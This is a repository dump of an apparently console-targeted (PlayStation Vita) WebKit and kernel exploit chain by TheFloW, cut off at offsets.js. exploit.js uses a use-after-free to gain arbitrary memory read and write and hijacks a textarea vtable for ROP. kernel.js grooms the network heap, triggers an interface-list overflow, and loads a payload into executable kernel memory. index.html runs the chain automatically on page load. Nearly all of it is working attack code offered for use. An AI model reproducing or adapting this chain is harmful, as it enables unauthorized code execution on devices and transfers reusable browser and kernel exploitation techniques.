[
  {
    "path": "LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (C) 2020 TheFloW\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "exploit.js",
    "content": "/* exploit.js -- implementation of the WebKit exploit\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modified and distributed under the terms\n * of the MIT license.  See the LICENSE file for details.\n */\n\nvar _dview = null;\n\nfunction u2d(low, hi) {\n  if (!_dview) _dview = new DataView(new ArrayBuffer(16));\n  _dview.setUint32(0, hi);\n  _dview.setUint32(4, low);\n  return _dview.getFloat64(0);\n}\n\nfunction d2u(d) {\n  if (!_dview) _dview = new DataView(new ArrayBuffer(16));\n  _dview.setFloat64(0, d);\n  return { low: _dview.getUint32(4),\n           hi:  _dview.getUint32(0) };\n}\n\nfunction init_memory(start_addr) {\n  return function(size) {\n    var res = start_addr;\n    start_addr += size;\n    return res;\n  }\n}\n\nfunction mymemset(addr, b, len) {\n  for (var i = 0; i < len; i++) {\n    aspace[addr + i] = b;\n  }\n}\n\nfunction mymemcpy(addr, data, len) {\n  for (var i = 0; i < len; i++) {\n    aspace[addr + i] = data.charCodeAt(i);\n  }\n}\n\nfunction read_string(addr) {\n  var i = aspace[addr];\n  var str = \"\";\n  while (i !== 00) {\n    str += String.fromCharCode(i);\n    addr++;\n    i = aspace[addr];\n  }\n  return str;\n}\n\nfunction decode_mov(addr) {\n  var opcode = aspace32[addr / 4];\n  return ((opcode & 0xf0000) >> 4) | (opcode & 0xfff);\n}\n\nfunction decode_stub(addr) {\n  return ((decode_mov(addr) & 0xffff) | (decode_mov(addr + 4) << 16)) >>> 0;\n}\n\nfunction gc() {\n  for (var i = 0; i < 100; i++) {\n    new Uint32Array(0x10000);\n  }\n}\n\nvar frame_arr = [];\nvar frame_idx = 0;\nvar peek_val = 0;\n\nfunction peek_stack() {\n  var ret_val = undefined;\n\n  var retno = 0xffff;\n  arguments.length = { valueOf:\n    function() {\n      var _retno = retno;\n      retno = 1;\n      return _retno;\n    }\n  };\n  var args = arguments;\n  (function() {\n    (function() {\n      (function() {\n        ret_val = arguments[0xff00];\n      }).apply(null, args);\n    }).apply(null, frame_arr);\n  }).apply(null, frame_arr);\n  peek_val = ret_val;\n  return ret_val;\n}\n\nfunction poke_stack(val) {\n  frame_arr[frame_idx] = val;\n  (function() {\n    (function() {\n      (function() {\n      }).apply(null, frame_arr);\n    }).apply(null, frame_arr);\n  }).apply(null, frame_arr);\n  frame_arr[frame_idx] = \"\";\n}\n\nfunction exploit() {\n  var ua = navigator.userAgent;\n  var ver = ua.substring(ua.indexOf(\"5.0 (\") + 22, ua.indexOf(\") Apple\"));\n\n  var version_dep = version_deps[ver];\n  if (version_dep == undefined) {\n    alert(\"ERROR: Unsupported firmware.\");\n    return -1;\n  }\n\n  init_offsets(ver);\n\n  for (var i = 0; i < 0xffff; i++) {\n    frame_arr[i] = i;\n  }\n\n  frame_idx = 0;\n  poke_stack(0);\n  if (peek_stack() == undefined) {\n    alert(\"ERROR: WebKit version not vulnerable.\");\n    return -1;\n  }\n\n  frame_idx = 0;\n  poke_stack(0);\n  peek_stack();\n  frame_idx = peek_val;\n\n  poke_stack(0x4141);\n  for (var k = 0; k < 8; k++)\n    (function(){})();\n  peek_stack();\n\n  if (peek_val != 0x4141) {\n    alert(\"ERROR: Could not align the stack.\");\n    return -1;\n  }\n\n  var uaf_replacement = new Array(0x400);\n  for (var i = 0; i < 0x400; i++) {\n    uaf_replacement[i] = [];\n    for (var k = 0; k < 0x40; k++) {\n      uaf_replacement[i][k] = 0x41414141;\n    }\n    uaf_replacement[i].unshift(\n      uaf_replacement[i].shift()); // ensure ArrayStorage\n  }\n\n  var uaf_target = []; // no arraystorage\n  for (var i = 0; i < 0x80; i++) {\n    uaf_target[i] = u2d(0x41414141, 0x41414141);\n  }\n\n  poke_stack(uaf_target); // store uaf_target in stack\n  uaf_target = 0; // remove reference\n  for (var k = 0; k < 4; k++)\n    gc(); // run GC\n\n  peek_stack(); // read stored reference\n  uaf_target = peek_val;\n  peek_val = 0;\n\n  // Corrupt JSArray by exploiting UaF\n  for (var i = 0; i < 0x400; i++) {\n    for (var k = 0x0; k < 0x80; k++) {\n      uaf_replacement[i][k] = 0x7fffffff;\n      if (uaf_target.length == 0x7fffffff) {\n        var yi = i;\n        for (var i = 0; i < yi; i++) {\n          uaf_replacement[i] = 0;\n        }\n        for (var i = yi + 1; i < 0x400; i++) {\n          uaf_replacement[i] = 0;\n        }\n        gc();\n        break;\n      }\n    }\n  }\n\n  if (uaf_target.length != 0x7fffffff) {\n    alert(\"ERROR: Could not corrupt the JSArray.\");\n    return -1;\n  }\n\n  // Spray and interleave buffers and textareas\n  var textareas = new Array(0x2000);\n  var buffers = new Array(0x2000);\n  var buffer_len = 0x2000;\n  for (var i = 0; i < 0x2000; i++) {\n    buffers[i] = new ArrayBuffer(buffer_len);\n    var e = document.createElement(\"textarea\");\n    e.rows = 0x66656463;\n    textareas[i] = e;\n  }\n\n  // Use corrupted JSArray to corrupt a ArrayBuffer\n  var base_addr = -1;\n  for (var i = 0x10000; i < 0x40000; i++) {\n    if (uaf_target[i] != 0) {\n      _dview.setFloat64(0, uaf_target[i]);\n      if (_dview.getUint32(4) == buffer_len) {\n        _dview.setUint32(4, 0xfffffffc);\n        uaf_target[i] = _dview.getFloat64(0); // buffer size\n        _dview.setFloat64(0, uaf_target[i - 1]);\n        base_addr = _dview.getUint32(0);\n        _dview.setUint32(0, 0);\n        uaf_target[i - 1] = _dview.getFloat64(0); // buffer offset\n        break;\n      }\n    }\n  }\n\n  // Find corrupted ArrayBuffer\n  var corrupted = null;\n  for (var i = 0; i < buffers.length; i++) {\n    if (buffers[i].byteLength != buffer_len) {\n      corrupted = buffers[i];\n      break;\n    }\n  }\n\n  if (!corrupted) {\n    alert(\"ERROR: Could not corrupt the ArrayBuffer.\");\n    return -1;\n  }\n\n  // Arbitrary rw primitives\n  aspace = new Uint8Array(corrupted);\n  aspace16 = new Uint16Array(corrupted);\n  aspace32 = new Uint32Array(corrupted);\n\n  // Use corrupted ArrayBuffer to corrupt a textarea\n  var textarea_addr = null;\n  for (var i = base_addr / 4; i < base_addr / 4 + 0x4000; i++) {\n    if (aspace32[i] == 0x66656463) {\n      aspace32[i] = 0x55555555;\n      textarea_addr = i * 4;\n      break;\n    }\n  }\n\n  // Find corrupted textarea\n  var corrupted_textarea = null;\n  for (var i = 0; i < textareas.length; i++) {\n    if (textareas[i].rows == 0x55555555) {\n      corrupted_textarea = textareas[i];\n      break;\n    }\n  }\n\n  if (!corrupted_textarea) {\n    alert(\"ERROR: Could not corrupt the textarea.\");\n    return -1;\n  }\n\n  // Leak pointer\n  var vtidx = textarea_addr + elementvtable_off;\n  var textareavptr = aspace32[vtidx / 4];\n\n  // Get bases\n  var webkit_base = textareavptr - SceWebKit_base_off;\n  var net_base = decode_stub(webkit_base + SceNet_stub_off) - SceNet_base_off;\n  var libc_base = (\n    decode_stub(webkit_base + SceLibc_stub_off) - SceLibc_base_off);\n\n  allocate_memory = init_memory(base_addr - 0x400000);\n\n  // Create fake vtable and replace old one\n  var fkvtable = allocate_memory(0x400 * 4);\n\n  for (var i = 0; i < 0x400; i++) {\n    aspace32[fkvtable / 4 + i] = aspace32[textareavptr / 4 + i];\n  }\n\n  aspace32[vtidx / 4] = fkvtable;\n\n  // Initialize ROP gadgets and library functions\n  var bases = {\n    \"SceWebKit\": webkit_base,\n    \"SceNet\": net_base,\n    \"SceLibc\": libc_base,\n  };\n\n  var tmpmem = allocate_memory(0x5000);\n  var caller = get_caller(tmpmem, corrupted_textarea, vtidx, fkvtable);\n  init_ggts(bases, caller, ver);\n\n  kxploit(caller, ver);\n}\n\nfunction go() {\n  try {\n    exploit();\n  } catch (e) {\n    alert(e);\n  }\n}"
  },
  {
    "path": "index.html",
    "content": "<html>\r\n<body>\r\n<script src=\"exploit.js\"></script>\r\n<script src=\"kernel.js\"></script>\r\n<script src=\"jsos.js\"></script>\r\n<script src=\"offsets.js\"></script>\r\n\r\n<script type=\"text/javascript\">\r\nwindow.onload = function() {\r\n  go();\r\n}\r\n</script>\r\n\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "jsos.js",
    "content": "/* jsos.js -- JavaScript on Steroids\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modified and distributed under the terms\n * of the MIT license.  See the LICENSE file for details.\n */\n\nfunction init_offsets(ver) {\n  var version_dep = version_deps[ver];\n  for (b in version_dep) {\n    var offsets = version_dep[b].offsets;\n    for (off in offsets) {\n      if (offsets.hasOwnProperty(off)) {\n        window[off] = offsets[off];\n      }\n    }\n  }\n}\n\nfunction init_ggts(bases, caller, ver) {\n  var version_dep = version_deps[ver];\n  for (b in bases) {\n    var results = {};\n    if (bases.hasOwnProperty(b)) {\n      var functions = version_dep[b].functions;\n      for (fcn in functions) {\n        if (functions.hasOwnProperty(fcn)) {\n          window[fcn] = caller(functions[fcn] + bases[b]);\n        }\n      }\n      var gadgets = version_dep[b].gadgets;\n      for (ggt in gadgets) {\n        if (gadgets.hasOwnProperty(ggt)) {\n          window[ggt] = gadgets[ggt] + bases[b];\n        }\n      }\n    }\n  }\n}\n\nfunction get_caller(tmpmem, element, vtidx, fkvtable) {\n  return function (fcn) {\n    return function(r0, r1, r2, r3) {\n      var allocate_tmp = init_memory(tmpmem);\n      var context_size = 0x30;\n      var eleobj_size = 0x22;\n\n      var scontext = allocate_tmp(context_size * 4);\n      var seleobj = allocate_tmp(eleobj_size * 4);\n\n      // Save Element object\n      for (var i = 0; i < eleobj_size; i++) {\n        aspace32[seleobj / 4 + i] = aspace32[vtidx / 4 + i];\n      }\n\n      // Call setjmp\n      aspace32[fkvtable / 4 + setscrollleft_off] = setjmp;\n      element.scrollLeft = 0xdeadbabe;\n\n      // Save jmp context\n      for (var i = 0; i < context_size; i++) {\n        aspace32[scontext / 4 + i] = aspace32[vtidx / 4 + i];\n      }\n\n      // Restore Element object\n      for (var i = 0; i < eleobj_size; i++) {\n        aspace32[vtidx / 4 + i] = aspace32[seleobj / 4 + i];\n      }\n\n      var r1values = allocate_tmp(0x1c);\n      var r0values = allocate_tmp(0x1c);\n      var r4values = allocate_tmp(0x10);\n      var r8values = allocate_tmp(0x14);\n      var r8values_0 = allocate_tmp(0x14);\n      var r1values_1 = allocate_tmp(0x10);\n      var retval = allocate_tmp(0x4);\n\n      mymemset(retval, 0, 4);\n\n      aspace32[(r1values + 0x00) / 4] = r0values;                    // r0\n      aspace32[(r1values + 0x04) / 4] = r2;                          // r2\n      aspace32[(r1values + 0x08) / 4] = r3;                          // r3\n      aspace32[(r1values + 0x0c) / 4] = 0xDEADBEEF;                  // r8\n      aspace32[(r1values + 0x10) / 4] = 0xDEADBEEF;                  // fp\n      aspace32[(r1values + 0x14) / 4] = 0xDEADBEEF;                  // ip\n      aspace32[(r1values + 0x18) / 4] = ldm_r0_r0_r1_r4_r8_fp_ip_pc; // pc\n\n      aspace32[(r0values + 0x00) / 4] = r0;                          // r0\n      aspace32[(r0values + 0x04) / 4] = 0xDEADBEEF;                  // r1\n      aspace32[(r0values + 0x08) / 4] = r4values;                    // r4\n      aspace32[(r0values + 0x0c) / 4] = r8values;                    // r8\n      aspace32[(r0values + 0x10) / 4] = 0xDEADBEEF;                  // fp\n      aspace32[(r0values + 0x14) / 4] = 0xDEADBEEF;                  // ip\n      aspace32[(r0values + 0x18) / 4] = ldm_r8_r1_r6_ip_lr_pc;       // pc\n\n      aspace32[(r8values + 0x00) / 4] = r1;                          // r1\n      aspace32[(r8values + 0x04) / 4] = 0xDEADBEEF;                  // r6\n      aspace32[(r8values + 0x08) / 4] = 0xDEADBEEF;                  // ip\n      aspace32[(r8values + 0x0c) / 4] = ldm_r4_r3_r8_ip_pc;          // lr\n      aspace32[(r8values + 0x10) / 4] = fcn;                         // pc\n\n      aspace32[(r4values + 0x00) / 4] = retval;                      // r3\n      aspace32[(r4values + 0x04) / 4] = r8values_0;                  // r8\n      aspace32[(r4values + 0x08) / 4] = 0xDEADBEEF;                  // ip\n      aspace32[(r4values + 0x0c) / 4] = ldm_r8_r1_r6_ip_lr_pc;       // pc\n\n      aspace32[(r8values_0 + 0x00) / 4] = r1values_1;                // r1\n      aspace32[(r8values_0 + 0x04) / 4] = 0xDEADBEEF;                // r6\n      aspace32[(r8values_0 + 0x08) / 4] = 0xDEADBEEF;                // ip\n      aspace32[(r8values_0 + 0x0c) / 4] = ldm_r1_r0_ip_lr_pc;        // lr\n      aspace32[(r8values_0 + 0x10) / 4] = str_r0_r3_bx_lr;           // pc\n\n      aspace32[(r1values_1 + 0x00) / 4] = scontext;                  // r0\n      aspace32[(r1values_1 + 0x04) / 4] = 0xDEADBEEF;                // ip\n      aspace32[(r1values_1 + 0x08) / 4] = 0xDEADBEEF;                // lr\n      aspace32[(r1values_1 + 0x0c) / 4] = longjmp;                   // pc\n\n      // Trigger ROP chain\n      aspace32[fkvtable / 4 + setscrollleft_off] = ldm_r1_r0_r2_r3_r8_fp_ip_pc;\n      element.scrollLeft = r1values;\n\n      return aspace32[retval / 4];\n    }\n  };\n}\n"
  },
  {
    "path": "kernel.js",
    "content": "/* exploit.js -- implementation of the kernel exploit\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modified and distributed under the terms\n * of the MIT license.  See the LICENSE file for details.\n */\n\nSCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX = 0x1020d005\nSCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW = 0x1020d006\n\nSCE_NET_AF_INET    = 2\nSCE_NET_SOCK_DGRAM = 2\n\nSIOCDIFADDR   = 0x80206919\nSIOCAIFADDR   = 0x8040691a\nSIOCIFDESTROY = 0x80206979\nSIOCIFCREATE  = 0x8020697a\n\nSIZEOF_SIN = 0x10\n\nPLANT_SIZE = 0x4000\nDUMMY_SIZE = 0x4000\nSOFTC_SIZE = 0x550\nSPLIT_SIZE = 0x148\nSPRAY_SIZE = 0xc8\nHOLE_SIZE  = 0x80\nIF_SIZE    = 0x140\n\nNUM_SPRAY  = 0x100\nNUM_SOCKS  = 0x80\nNUM_SLOTS  = 0x04\n\nfunction load_binary_resource(url) {\n  var req = new XMLHttpRequest();\n  req.open('GET', url, false);\n  req.overrideMimeType('text\\/plain; charset=x-user-defined');\n  req.send(null);\n  if (req.status != 200) return '';\n  return req.responseText;\n}\n\nfunction inet_addr(str) {\n  var ip_list = str.split(\".\").reverse();\n  var a1 = parseInt(ip_list[0]);\n  var a2 = parseInt(ip_list[1]);\n  var a3 = parseInt(ip_list[2]);\n  var a4 = parseInt(ip_list[3]);\n\n  var addr = ((a1 << 24) | (a2 << 16) | (a3 << 8) | a4) >>> 0;\n  return addr;\n}\n\nfunction if_add_addr(sock, name, addr, dstaddr, mask) {\n  var ifr = allocate_memory(0x40);\n  mymemset(ifr, 0, 0x40);\n\n  mymemcpy(ifr, name, name.length);\n\n  aspace[(ifr + 0x10) / 1]   = SIZEOF_SIN;\n  aspace[(ifr + 0x11) / 1]   = SCE_NET_AF_INET;\n  aspace32[(ifr + 0x14) / 4] = addr;\n\n  aspace[(ifr + 0x20) / 1]   = SIZEOF_SIN;\n  aspace[(ifr + 0x21) / 1]   = SCE_NET_AF_INET;\n  aspace32[(ifr + 0x24) / 4] = dstaddr;\n\n  aspace[(ifr + 0x30) / 1]   = SIZEOF_SIN;\n  aspace[(ifr + 0x31) / 1]   = SCE_NET_AF_INET;\n  aspace32[(ifr + 0x34) / 4] = mask;\n\n  return sceNetSyscallIoctl(sock, SIOCAIFADDR, ifr);\n}\n\nfunction if_del_addr(sock, name, addr) {\n  var ifr = allocate_memory(0x20);\n  mymemset(ifr, 0, 0x20);\n\n  mymemcpy(ifr, name, name.length);\n\n  aspace[(ifr + 0x10) / 1]   = SIZEOF_SIN;\n  aspace[(ifr + 0x11) / 1]   = SCE_NET_AF_INET;\n  aspace32[(ifr + 0x14) / 4] = addr;\n\n  return sceNetSyscallIoctl(sock, SIOCDIFADDR, ifr);\n}\n\nfunction if_clone_create(sock, name) {\n  var ifr = allocate_memory(0x20);\n  mymemset(ifr, 0, 0x20);\n  mymemcpy(ifr, name, name.length);\n  return sceNetSyscallIoctl(sock, SIOCIFCREATE, ifr);\n}\n\nfunction if_clone_destroy(sock, name) {\n  var ifr = allocate_memory(0x20);\n  mymemset(ifr, 0, 0x20);\n  mymemcpy(ifr, name, name.length);\n  return sceNetSyscallIoctl(sock, SIOCIFDESTROY, ifr);\n}\n\nfunction net_malloc(slot, size) {\n  var args = allocate_memory(0x08);\n  aspace32[(args + 0x00) / 4] = slot;\n  aspace32[(args + 0x04) / 4] = size;\n  return sceNetSyscallControl(-1, 0x20000008, args, 0x08);\n}\n\nfunction net_free(slot) {\n  var args = allocate_memory(0x08);\n  aspace32[(args + 0x00) / 4] = slot;\n  aspace32[(args + 0x04) / 4] = 0;\n  return sceNetSyscallControl(-1, 0x20000009, args, 0x08);\n}\n\nfunction RopChain(buf, buf_addr) {\n  this.chain = [];\n  this.sysmem_offsets = [];\n  this.sysmem_gadgets = [];\n\n  this.push = function(gadget) {\n    this.chain.push(gadget);\n  };\n\n  this.push_sysmem = function(gadget) {\n    this.sysmem_offsets.push(this.chain.length * 4);\n    this.sysmem_gadgets.push(gadget);\n    this.push(0xDEADBEEF);\n  };\n\n  this.compile = function() {\n    var resolve_stub_size = this.sysmem_offsets.length * 16 * 4;\n\n    for (var i = 0; i < this.sysmem_offsets.length; i++) {\n      var offset = buf_addr + resolve_stub_size + this.sysmem_offsets[i];\n      var gadget = SceSysmem_base_off + this.sysmem_gadgets[i];\n\n      var resolve_stub = [\n        movs_r0_0_pop_r3_pc,                                // pc\n        ksceKernelFreeMemBlock,                             // r3\n        blx_r3_pop_r3_pc,                                   // pc\n        0xDEADBEEF,                                         // r3\n        push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc, // pc\n        0xDEADBEEF,                                         // r6\n        0xDEADBEEF,                                         // r0\n        offset,                                             // r1\n        add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr,                // r3\n        gadget,                                             // r4\n        0xDEADBEEF,                                         // r5\n        0xDEADBEEF,                                         // r6\n        blx_r3_pop_r3_pc,                                   // pc\n        0xDEADBEEF,                                         // r4\n        0xDEADBEEF,                                         // r5\n        0xDEADBEEF,                                         // r3\n      ];\n\n      Array.prototype.unshift.apply(this.chain, resolve_stub);\n    }\n\n    for (var i = 0; i < this.chain.length; i++) {\n      aspace32[(buf + i * 4) / 4] = this.chain[i];\n    }\n  }\n}\n\nfunction build_krop(buf, buf_addr, payload, payload_size) {\n  var krop = new RopChain(buf, buf_addr);\n\n  var payload_code_blockid = buf_addr + 0x00;\n  var payload_code_block = buf_addr + 0x04;\n\n  // Allocate code block\n  krop.push(pop_r0_r1_r2_r3_r4_r6_pc);                 // pc\n  krop.push(empty_string);                             // r0\n  krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW);       // r1\n  krop.push((payload_size + 0xfff) & ~0xfff);          // r2\n  krop.push(0);                                        // r3\n  krop.push(ksceKernelAllocMemBlock);                  // r4\n  krop.push(0xDEADBEEF);                               // r6\n  krop.push(blx_r4_add_sp_c_pop_r4_r5_pc);             // pc\n  krop.push(0xDEADBEEF);                               // dummy\n  krop.push(0xDEADBEEF);                               // dummy\n  krop.push(0xDEADBEEF);                               // dummy\n  krop.push(payload_code_blockid);                     // r4\n  krop.push(0xDEADBEEF);                               // r5\n  krop.push(str_r0_r4_pop_r4_pc);                      // pc\n  krop.push(0xDEADBEEF);                               // r4\n\n  // Get code block\n  krop.push(pop_r0_r1_r2_r3_r4_r6_pc);                 // pc\n  krop.push(0xDEADBEEF);                               // r0\n  krop.push(payload_code_block);                       // r1\n  krop.push(0xDEADBEEF);                               // r2\n  krop.push(ksceKernelGetMemBlockBase);                // r4\n  krop.push(payload_code_blockid);                     // r4\n  krop.push(0xDEADBEEF);                               // r6\n  krop.push(ldr_r0_r4_pop_r4_pc);                      // pc\n  krop.push(0xDEADBEEF);                               // r4\n  krop.push(blx_r3_pop_r3_pc);                         // pc\n  krop.push(0xDEADBEEF);                               // r3\n\n  // Copy payload from user to code block\n  krop.push(pop_r0_r1_r2_r3_r4_r6_pc);                 // pc\n  krop.push(0xDEADBEEF);                               // r0\n  krop.push(payload);                                  // r1\n  krop.push(payload_size);                             // r2\n  krop.push(ksceKernelMemcpyUserToKernel);             // r3\n  krop.push(payload_code_block);                       // r4\n  krop.push(0xDEADBEEF);                               // r6\n  krop.push(ldr_r0_r4_pop_r4_pc);                      // pc\n  krop.push(0xDEADBEEF);                               // r4\n  krop.push(blx_r3_pop_r3_pc);                         // pc\n  krop.push(0xDEADBEEF);                               // r3\n\n  // Mark code block as executable\n  krop.push(pop_r0_r1_r2_r3_r4_r6_pc);                 // pc\n  krop.push(0xDEADBEEF);                               // r0\n  krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX);       // r1\n  krop.push(0xDEADBEEF);                               // r2\n  krop.push_sysmem(ksceKernelRemapBlock);              // r3\n  krop.push(payload_code_blockid);                     // r4\n  krop.push(0xDEADBEEF);                               // r6\n  krop.push(ldr_r0_r4_pop_r4_pc);                      // pc\n  krop.push(0xDEADBEEF);                               // r4\n  krop.push(blx_r3_pop_r3_pc);                         // pc\n  krop.push(0xDEADBEEF);                               // r3\n\n  // Clean cache\n  krop.push(pop_r0_r1_r2_r3_r4_r6_pc);                 // pc\n  krop.push(0xDEADBEEF);                               // r0\n  krop.push((payload_size + 0x1f) & ~0x1f);            // r1\n  krop.push(0xDEADBEEF);                               // r2\n  krop.push_sysmem(ksceKernelCpuDcacheWritebackRange); // r3\n  krop.push(payload_code_block);                       // r4\n  krop.push(0xDEADBEEF);                               // r6\n  krop.push(ldr_r0_r4_pop_r4_pc);                      // pc\n  krop.push(0xDEADBEEF);                               // r4\n  krop.push(blx_r3_pop_r3_pc);                         // pc\n  krop.push(0xDEADBEEF);                               // r3\n\n  // Execute payload\n  krop.push(pop_r0_r1_r2_r3_r4_r6_pc);                 // pc\n  krop.push(0xDEADBEEF);                               // r0\n  krop.push_sysmem(0);                                 // r1\n  krop.push(iflist_addr);                              // r2\n  krop.push(1);                                        // r3\n  krop.push(payload_code_block);                       // r4\n  krop.push(0xDEADBEEF);                               // r6\n  krop.push(ldr_r0_r4_pop_r4_pc);                      // pc\n  krop.push(0xDEADBEEF);                               // r4\n  krop.push(orrs_r0_r3_pop_r3_pc);                     // pc\n  krop.push(0xDEADBEEF);                               // r3\n  krop.push(blx_r0_pop_r3_pc);                         // pc\n\n  // Compile kernel ROP chain\n  krop.compile();\n}\n\nfunction kxploit(caller, ver) {\n  // Fetch kernel payload\n  var payload = load_binary_resource(\"payload.bin\");\n  var payload_size = payload.length;\n  var payload_buf = malloc(payload_size);\n  mymemcpy(payload_buf, payload, payload_size);\n\n  // Empty string\n  var sockname = allocate_memory(0x04);\n  aspace32[sockname / 4] = 0;\n\n  // Initialize socket\n  var sock = sceNetSyscallSocket(\n    sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0);\n\n  // Destroy clone interface\n  if_clone_destroy(sock, \"pppoe1337\");\n\n  // Get 2nd interface name\n  var iflist = allocate_memory(2 * IF_SIZE);\n  sceNetSyscallGetIfList(iflist, 2);\n  var ifname = read_string(iflist + IF_SIZE);\n\n  // Delete custom address\n  if_del_addr(sock, ifname, 0x13371337);\n\n  // Free all slots\n  for (var i = 0; i < NUM_SLOTS; i++)\n    net_free(i);\n\n  // Reserve memory for heap feng shui\n  net_malloc(0, 0x8710);\n\n  // Heap grooming\n  var buf = allocate_memory(SPRAY_SIZE);\n  mymemset(buf, 0, SPRAY_SIZE);\n\n  var sin = allocate_memory(SIZEOF_SIN);\n  mymemset(sin, 0, 0x10);\n  aspace[(sin + 0x00) / 1]   = SIZEOF_SIN;\n  aspace[(sin + 0x01) / 1]   = SCE_NET_AF_INET;\n  aspace16[(sin + 0x02) / 2] = sceNetHtons(8888);\n  aspace32[(sin + 0x04) / 4] = inet_addr(\"127.0.0.1\");\n  sceNetSyscallBind(sock, sin, SIZEOF_SIN);\n\n  var iov = allocate_memory(0x08);\n  aspace32[(iov + 0x00) / 4] = buf;        // iov_base\n  aspace32[(iov + 0x04) / 4] = SPRAY_SIZE; // iov_len\n\n  var msg = allocate_memory(0x1c);\n  aspace32[(msg + 0x00) / 4] = sin;        // msg_name\n  aspace32[(msg + 0x04) / 4] = SIZEOF_SIN; // msg_namelen\n  aspace32[(msg + 0x08) / 4] = iov;        // msg_iov\n  aspace32[(msg + 0x0c) / 4] = 1;          // msg_iovlen\n  aspace32[(msg + 0x10) / 4] = 0;          // msg_control\n  aspace32[(msg + 0x14) / 4] = 0;          // msg_controllen\n  aspace32[(msg + 0x18) / 4] = 0;          // msg_flags\n\n  for (var i = 0; i < NUM_SPRAY; i++)\n    sceNetSyscallSendmsg(sock, msg, 0);\n\n  var spray_sock = [];\n  for (var i = 0; i < NUM_SOCKS; i++)\n    spray_sock[i] = sceNetSyscallSocket(\n      sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0);\n\n  // Heap feng shui\n  // 0x20+0x4000+0x8+0x20+0x148+0x8+0x20+0x550+0x8+0x20+0x4000+0x8\n  net_free(0);\n  net_malloc(0, 0x6e8 + PLANT_SIZE);\n  net_malloc(3, DUMMY_SIZE); // prevent hole from coalescing\n  net_free(0);\n  net_malloc(0, PLANT_SIZE);\n  net_malloc(1, SOFTC_SIZE);\n  net_malloc(2, SPLIT_SIZE);\n\n  // Allocate plant buffer\n  var plant_buf = malloc(PLANT_SIZE);\n  mymemset(plant_buf, 0, PLANT_SIZE);\n\n  // Leak clone interface and chunk header\n  var softc_leak = plant_buf + 0x2000;\n\n  net_free(1);\n  if_clone_create(sock,  \"pppoe1337\");\n  if_clone_destroy(sock, \"pppoe1337\");\n  net_malloc(1, SOFTC_SIZE - 0x80);\n  net_free(1);\n  sceNetSyscallControl(-1, 0x14, softc_leak, SOFTC_SIZE);\n\n  // Create clone interface\n  if_clone_create(sock, \"pppoe1337\");\n\n  // Check for validity\n  if (read_string(softc_leak + 0x14) != \"pppoe1337\" ||\n      aspace32[(softc_leak + 0x6c) / 4] != SOFTC_SIZE - 0x80) {\n    if_clone_destroy(sock, \"pppoe1337\");\n    for (var i = 0; i < NUM_SLOTS; i++)\n      net_free(i);\n    for (var i = 0; i < NUM_SOCKS; i++)\n      sceNetSyscallClose(spray_sock[i]);\n    sceNetSyscallClose(sock);\n    alert(\"ERROR: Could not leak heap memory.\");\n    return -1;\n  }\n\n  // Obtain kernel pointers\n  netps_base  = aspace32[(softc_leak + 0x64) / 4] + SceNetPs_base_off;\n  iflist_addr = aspace32[(softc_leak + 0x74) / 4] - 0x150;\n\n  // Initialize kernel ROP gadgets\n  var ex_bases = {\n    \"SceNetPs\": netps_base,\n  };\n\n  init_ggts(ex_bases, caller, ver);\n\n  // Fake object\n  var fake = plant_buf + 0x1000;\n  var fake_addr = iflist_addr + 0x6e8 + 0x1000;\n\n  aspace32[(fake + 0x00) / 4] = fake_addr + 0x00;  // r0\n  aspace32[(fake + 0x04) / 4] = 0xDEADBEEF;        // r1\n  aspace32[(fake + 0x08) / 4] = 0xDEADBEEF;        // r2\n  aspace32[(fake + 0x0c) / 4] = 0xDEADBEEF;        // r3\n  aspace32[(fake + 0x10) / 4] = 0xDEADBEEF;        // r4\n  aspace32[(fake + 0x14) / 4] = 0xDEADBEEF;        // ip\n  aspace32[(fake + 0x18) / 4] = fake_addr + 0x100; // sp\n  aspace32[(fake + 0x1c) / 4] = 0xDEADBEEF;        // lr\n  aspace32[(fake + 0x20) / 4] = pop_pc;            // pc\n  aspace32[(fake + 0x34) / 4] = fake_addr + 0x00;  // any valid address\n  aspace32[(fake + 0x50) / 4] = ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc; // func\n  aspace32[(fake + 0x58) / 4] = 1;\n\n  // Build kernel ROP chain\n  build_krop(fake + 0x100, fake_addr + 0x100, payload_buf, payload_size);\n\n  // Plant data\n  net_free(0);\n  sceNetSyscallControl(-1, 0x20000000, plant_buf, PLANT_SIZE);\n  net_malloc(0, PLANT_SIZE);\n\n  // Prepare corruption\n  if_add_addr(sock, ifname, 0x13371337, fake_addr, 0);\n\n  // Create hole\n  net_free(2);\n  net_malloc(2, SPLIT_SIZE - HOLE_SIZE - 0x28);\n\n  // Trigger overflow and code execution\n  sceNetSyscallGetIfList(iflist, 0x0199999a);\n\n  return 0;\n}\n"
  },
  {
    "path": "offsets.js",
